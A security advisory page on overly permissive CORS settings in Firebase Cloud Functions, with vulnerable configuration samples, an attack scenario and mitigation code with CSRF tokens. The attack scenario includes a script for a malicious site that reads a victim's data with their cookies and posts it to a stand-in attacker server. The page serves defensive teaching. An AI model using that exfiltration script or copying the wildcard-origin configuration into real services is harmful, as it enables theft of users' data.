Skip to content

Firebase Functions: CORS Misconfiguration

Name: CORS Misconfiguration in Firebase Functions

Applicable Services: Cloud Functions for Firebase

Description

Critical Cross-Origin Security Risk

The Configuration Flaw: Firebase Cloud Functions are configured with overly permissive CORS (Cross-Origin Resource Sharing) policies that allow requests from unauthorized origins.

Intended Behavior: CORS policies should restrict cross-origin requests to only trusted domains and implement proper security controls.

The Risk: Permissive CORS configurations enable cross-site request forgery (CSRF) attacks, unauthorized API access, and data exfiltration from malicious websites.

Impact

Severe Web Security Consequences

CORS misconfigurations create multiple attack vectors:

  • Cross-Site Request Forgery: Malicious sites can make unauthorized requests on behalf of users
  • Data Exfiltration: Sensitive API responses can be accessed from untrusted origins
  • Unauthorized API Access: External websites can bypass intended access controls
  • User Account Compromise: Attackers can perform actions using victim's authentication
  • Business Logic Bypass: Malicious sites can circumvent intended application workflows

Example Attack Scenarios

Exploit Scenario: Cross-Site API Exploitation

The Vulnerable Configuration:

// VULNERABLE: Overly permissive CORS policy
const functions = require('firebase-functions');
const cors = require('cors');

// Allows ALL origins - DANGEROUS
const corsOptions = {
  origin: '*', // Allows any website to make requests
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE']
};

exports.getUserData = functions.https.onRequest(cors(corsOptions), (req, res) => {
  // Sensitive function accessible from any website
  const userId = req.query.userId;
  // ... fetch and return user data
  res.json({ userData: sensitiveUserData });
});

Attack Execution: A malicious website hosts this code to exploit the vulnerable CORS policy:

<!-- Malicious website: evil-site.com -->
<script>
// Exploit permissive CORS to steal user data
fetch('https://us-central1-victim-app.cloudfunctions.net/getUserData?userId=target-user-id', {
  method: 'GET',
  credentials: 'include', // Include victim's cookies/auth
  headers: {
    'Content-Type': 'application/json'
  }
})
.then(response => response.json())
.then(data => {
  // Exfiltrate stolen data to attacker's server
  fetch('https://attacker-server.com/stolen-data', {
    method: 'POST',
    body: JSON.stringify({
      victim: 'target-user-id',
      stolenData: data,
      timestamp: new Date().toISOString()
    })
  });
});
</script>

Outcome: When a logged-in user visits the malicious website, their browser automatically includes their authentication cookies, allowing the attacker to access their sensitive data.

Mitigation

Secure CORS Configuration

// VULNERABLE: Wildcard origin allows any website
const corsOptions = {
  origin: '*', // DANGEROUS - allows all origins
  credentials: true
};

exports.sensitiveAPI = functions.https.onRequest(cors(corsOptions), (req, res) => {
  // Function accessible from any website
  res.json({ data: 'sensitive information' });
});
// SECURE: Restrict to specific trusted origins
const corsOptions = {
  origin: [
    'https://your-app.com',
    'https://admin.your-app.com',
    'https://your-staging-app.com'
  ],
  credentials: true,
  methods: ['GET', 'POST'],
  allowedHeaders: ['Content-Type', 'Authorization']
};

exports.sensitiveAPI = functions.https.onRequest(cors(corsOptions), (req, res) => {
  // Additional origin validation
  const origin = req.get('Origin');
  if (!isValidOrigin(origin)) {
    return res.status(403).json({ error: 'Forbidden origin' });
  }

  // CSRF protection
  if (!validateCSRFToken(req)) {
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }

  res.json({ data: 'protected information' });
});

function isValidOrigin(origin) {
  const allowedOrigins = [
    'https://your-app.com',
    'https://admin.your-app.com'
  ];
  return allowedOrigins.includes(origin);
}

Dynamic Origin Validation

// Implement dynamic origin validation based on user context
const corsOptionsDelegate = (req, callback) => {
  let corsOptions;

  const origin = req.header('Origin');
  const userAgent = req.header('User-Agent');

  // Validate origin against trusted domains
  if (isValidOrigin(origin)) {
    corsOptions = {
      origin: true,
      credentials: true
    };
  } else {
    corsOptions = {
      origin: false // Disable CORS for untrusted origins
    };
  }

  callback(null, corsOptions);
};

exports.dynamicCORS = functions.https.onRequest(cors(corsOptionsDelegate), (req, res) => {
  // Function with dynamic CORS validation
  res.json({ message: 'Secure response' });
});

function isValidOrigin(origin) {
  if (!origin) return false;

  try {
    const url = new URL(origin);
    const trustedDomains = [
      'your-app.com',
      'admin.your-app.com',
      'staging.your-app.com'
    ];

    // Check if hostname matches trusted domains
    return trustedDomains.some(domain => 
      url.hostname === domain || url.hostname.endsWith('.' + domain)
    );
  } catch (error) {
    return false;
  }
}

CSRF Protection Implementation

// Implement CSRF protection for sensitive operations
const crypto = require('crypto');

function generateCSRFToken(userId) {
  const timestamp = Date.now();
  const secret = process.env.CSRF_SECRET || 'your-secret-key';

  const token = crypto
    .createHmac('sha256', secret)
    .update(`${userId}:${timestamp}`)
    .digest('hex');

  return `${timestamp}:${token}`;
}

function validateCSRFToken(req) {
  const token = req.headers['x-csrf-token'] || req.body.csrfToken;
  const userId = req.user?.uid;

  if (!token || !userId) {
    return false;
  }

  try {
    const [timestamp, hash] = token.split(':');
    const now = Date.now();

    // Check if token is not older than 1 hour
    if (now - parseInt(timestamp) > 3600000) {
      return false;
    }

    const expectedToken = crypto
      .createHmac('sha256', process.env.CSRF_SECRET)
      .update(`${userId}:${timestamp}`)
      .digest('hex');

    return hash === expectedToken;
  } catch (error) {
    return false;
  }
}

// Secure function with CSRF protection
exports.secureAction = functions.https.onRequest(cors(corsOptions), async (req, res) => {
  // Verify authentication
  if (!req.user) {
    return res.status(401).json({ error: 'Authentication required' });
  }

  // Validate CSRF token for state-changing operations
  if (req.method !== 'GET' && !validateCSRFToken(req)) {
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }

  // Proceed with secure operation
  res.json({ success: true });
});

References